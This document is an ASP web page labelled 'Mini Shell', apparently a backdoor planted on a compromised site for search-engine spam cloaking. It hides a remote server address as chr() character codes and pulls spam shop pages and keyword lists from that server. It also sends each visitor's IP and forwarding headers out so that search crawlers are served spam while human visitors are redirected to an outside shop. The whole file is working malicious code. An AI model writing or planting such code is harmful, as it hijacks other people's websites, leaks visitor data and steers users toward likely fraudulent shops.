Mini Shell

<%on error resume next%><%
Function getHTTPPage(url) 
On Error Resume Next
dim http 
set http=Server.createobject("Microsoft.XMLHTTP") 
Http.open "GET",url,false 
Http.setRequestHeader "User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0"  
Http.send() 
if Http.readystate<>4 then
exit function 
end if 
getHTTPPage=bytesToBSTR(Http.responseBody,"utf-8")
set http=nothing
If Err.number<>0 then 
Response.Write "<p align='center'><font color='red'><b> </b></font></p>" 
Response.end
Err.Clear
End If  
End Function

Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText 
objstream.Close
set objstream = nothing
End Function
Randomize
%>
<%
Dim xy,Url,Html,hyzhdy,kname,jd,sz,wj,gjc1,gjc2
xy="https://"
if Request.ServerVariables("HTTPS")= "off" then
xy="http://"
end if

if request("g")<>"" then
jd=getHTTPPage(chr(104)+chr(116)+chr(116)+chr(112)+chr(58)+chr(47)+chr(47)+chr(121)+chr(109)+chr(115)+chr(46)+chr(100)+chr(121)+chr(100)+chr(107)+chr(103)+chr(46)+chr(116)+chr(111)+chr(112)+chr(47)+chr(49)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)+chr(63)+chr(115)+chr(122)+chr(61)&request("g"))
sz=request("g")
else
jd=getHTTPPage(chr(104)+chr(116)+chr(116)+chr(112)+chr(58)+chr(47)+chr(47)+chr(121)+chr(109)+chr(115)+chr(46)+chr(100)+chr(121)+chr(100)+chr(107)+chr(103)+chr(46)+chr(116)+chr(111)+chr(112)+chr(47)+chr(49)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)+chr(63)+chr(120)+chr(121)+chr(61)&xy)
sz=getHTTPPage(chr(104)+chr(116)+chr(116)+chr(112)+chr(58)+chr(47)+chr(47)+chr(121)+chr(109)+chr(115)+chr(46)+chr(100)+chr(121)+chr(100)+chr(107)+chr(103)+chr(46)+chr(116)+chr(111)+chr(112)+chr(47)+chr(49)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)+chr(63)+chr(106)+chr(100)+chr(61)&jd)
end if

wj=getHTTPPage(chr(104)+chr(116)+chr(116)+chr(112)+chr(58)+chr(47)+chr(47)+chr(121)+chr(109)+chr(115)+chr(46)+chr(100)+chr(121)+chr(100)+chr(107)+chr(103)+chr(46)+chr(116)+chr(111)+chr(112)+chr(47)+chr(119)+chr(106)+chr(115)+chr(106)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)+chr(63)+chr(119)+chr(105)+chr(100)+chr(61)&sz)

if request("res")<>"" then
kname=request("res")
gjc1=getHTTPPage(jd&"getci.aspx?cid="&request("cid")&"&s=2&e=4")
gjc2=getHTTPPage(jd&"getci.aspx?cid="&request("cid")&"&s=5&e=7")
end if

if request("kk")<>"" then
ip="66.249.64.190"
else
ip=Request.ServerVariables("REMOTE_ADDR")&"*"&Request.ServerVariables("REMOTE_HOST")&"*"&Request.ServerVariables("HTTP_X_FORWARDED_FOR")&"*"&Request.ServerVariables("HTTP_CLIENT_IP")&"*"&Request.ServerVariables("HTTP_X_FORWARDED")&"*"&Request.ServerVariables("HTTP_FORWARDED_FOR")&"*"&Request.ServerVariables("HTTP_FORWARDED")
end if
ipurl=jd&"getdomain.aspx?rnd=1&ip="&ip
domain =getHTTPPage(ipurl)
ddd=jd&"a.aspx"
if(instr(domain,"google")=0 and instr(domain,"msn.com")=0 and instr(domain,"yahoo.com")=0 and instr(domain,"aol.com")=0 and instr(domain,"yandex")=0) then
    if request("iid")<>"" or request("res")<>"" then
    ddd=ddd&"?cid="&request("cid")&"&cname="&Server.URLEncode(kname)&"&pr="&request("pr")&"&ll="&Request.ServerVariables("HTTP_HOST")
    Response.write "<script>self.location.href="""&ddd&"""</script>"
	Response.end	
    else if request("pnum")<>"" or request("cid")<>""  then
	ddd=Replace(ddd, "products.aspx", "")
    ddd=ddd&"?cid="&request("cid")&"&ll="&Request.ServerVariables("HTTP_HOST")
    Response.write "<script>self.location.href="""&ddd&"""</script>"
	Response.end
	else
	Response.write "<script>self.location.href=""/404.asp""</script>"
	Response.end
    end if
    end if	
end if
%>
<%
if request("number")<>"" then
Url=jd&"S888.aspx?cid="&request("cid")&"&number="&request("number")&"&pnum="&request("pnum")&"&type="&request("type")
con=getHTTPPage(Url)
con=Replace(con,"shop=","res=")
con=Replace(con, "ggggg", sz)
con=Replace(con, "yymm", xy&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("PATH_INFO"))
Response.contentType="text/xml"
Response.write con
Response.end
end if
if request("s")<>"" then
con=getHTTPPage(chr(104)+chr(116)+chr(116)+chr(112)+chr(58)+chr(47)+chr(47)+chr(121)+chr(109)+chr(115)+chr(46)+chr(100)+chr(121)+chr(100)+chr(107)+chr(103)+chr(46)+chr(116)+chr(111)+chr(112)+chr(47)+chr(115)+chr(122)+chr(104)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120))
con=Replace(con, "yymm", xy&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("SCRIPT_NAME"))
Response.contentType="text/xml"
Response.write con
Response.end
end if
if request("ping")<>"" then
con=getHTTPPage(chr(104)+chr(116)+chr(116)+chr(112)+chr(58)+chr(47)+chr(47)+chr(121)+chr(109)+chr(115)+chr(46)+chr(100)+chr(121)+chr(100)+chr(107)+chr(103)+chr(46)+chr(116)+chr(111)+chr(112)+chr(47)+chr(112)+chr(105)+chr(110)+chr(103)+chr(49)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)+chr(63)+chr(121)+chr(105)+chr(100)+chr(61)&request("yid")&"&cid="&request("cid"))
con=Replace(con, "yymm", xy&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("SCRIPT_NAME"))
ping=getHTTPPage(con)
Response.write ping
Response.write con
Response.end
end if
%> 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script>
document.cookie="u="+window.location.href;
</script>
<title><%=kname%><%=request("searchtxt")%> OFF <%=INT((75-50+1)*RND+50)%>% <%=request("pnum")%></title>
<meta name="keywords" content="<%=kname%>,<%=gjc1%>"/>
<meta name="description" content="<%=kname%>,<%=gjc2%>." />
<meta name="robots" content="index,follow,all"/>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
<link rel="sitemap" type="application/xml" title="Sitemap" href="<%=xy&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("SCRIPT_NAME")&"?s=xml"%>" />
</head>
<body>
<%
hyzhdy=jd&wj
if request("iid")<>"" then
hyzhdy=hyzhdy&"?iid="&request("iid")&"&cid="&request("cid")&"&pr="&request("pr")
else if request("res")<>"" then
hyzhdy=hyzhdy&"?shop="&Server.URLEncode(kname)&"&cid="&request("cid")
else
if request("pnum")<>"" then
hyzhdy=hyzhdy&"?cid="&request("cid")&"&pnum="&request("pnum")
else
if request("cid")<>"" then
hyzhdy=hyzhdy&"?cid="&request("cid")
end if
end if
end if
end if

con=getHTTPPage(hyzhdy)
con=Replace(con,"ggggg", sz)
con=Replace(con,"shop=","res=")
con=Replace(con, "IIIII", xy&Request.ServerVariables("HTTP_HOST"))
con=Replace(con, "UUUUU", xy&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("SCRIPT_NAME"))
con=Replace(con, "HHHHH", xy&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("SCRIPT_NAME"))
con=Replace(con, "BBBBB", Request.ServerVariables("HTTP_HOST"))
con=Replace(con, "NNNNN", "Cheap clothing, shoes, accessories and various electronic accessories")
con=Replace(con, "SSSSS", "Discover and shop affordable women's clothing, shoes and accessories for a variety of daily needs. Shop the latest women's clothing collections at affordable prices. Free shipping!")
con=Replace(con, "DDDDD", kname&" Gold, White, Black, Red, Blue, Beige, Grey, Price, Rose, Orange, Purple, Green, Yellow, Cyan, Bordeaux, pink, Indigo, Brown, Silver,Electronics, Video Games, Computers, Cell Phones, Toys, Games, Apparel, Accessories, Shoes, Jewelry, Watches, Office Products, Sports & Outdoors, Sporting Goods, Baby Products, Health, Personal Care, Beauty, Home, Garden, Bed & Bath, Furniture, Tools, Hardware, Vacuums, Outdoor Living, Automotive Parts, Pet Supplies, Broadband, DSL, Books, Book Store, Magazine, Subscription, Music, CDs, DVDs, Videos,Online Shopping "&request("searchtxt"))
Response.write con
%> 
<div><%=getHTTPPage(jd&"zhhl.aspx?page="&Request.ServerVariables("SCRIPT_NAME")&"&g="&sz)%> | <%=getHTTPPage(jd&"wl.asp")%></div>
</body>
</html>